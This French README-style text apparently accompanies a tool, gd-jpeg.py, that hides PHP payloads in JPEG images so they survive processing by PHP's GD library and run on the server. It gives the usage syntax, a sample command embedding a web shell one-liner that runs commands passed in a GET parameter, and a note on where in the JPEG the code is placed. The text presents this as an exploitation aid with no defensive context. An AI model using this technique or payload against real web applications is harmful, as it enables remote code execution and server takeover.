
Injecte des charges utiles PHP dans des images JPEG pour l'exploitation d'applications web, contournant le traitement d'images de la bibliothèque GD afin d'obtenir une exécution de code à distance.
Injecte des payloads PHP dans des images JPEG. Lié à ce post.
Vous avez une application web qui traite une image JPEG via la bibliothèque graphique GD de PHP.
Ce script injecte du code PHP dans une image JPEG spécifiée. L'application web exécutera la charge utile si elle interprète l'image. Assurez-vous que votre JPEG d'entrée n'est pas compressé !
python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]
p. ex. python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg
Le code PHP est injecté dans l'espace nul (brun) après l'en-tête de numérisation :
Le nouveau JPEG infecté est traité par la bibliothèque GD de PHP. PHP interprète la charge utile injectée dans le JPEG et l'exécute.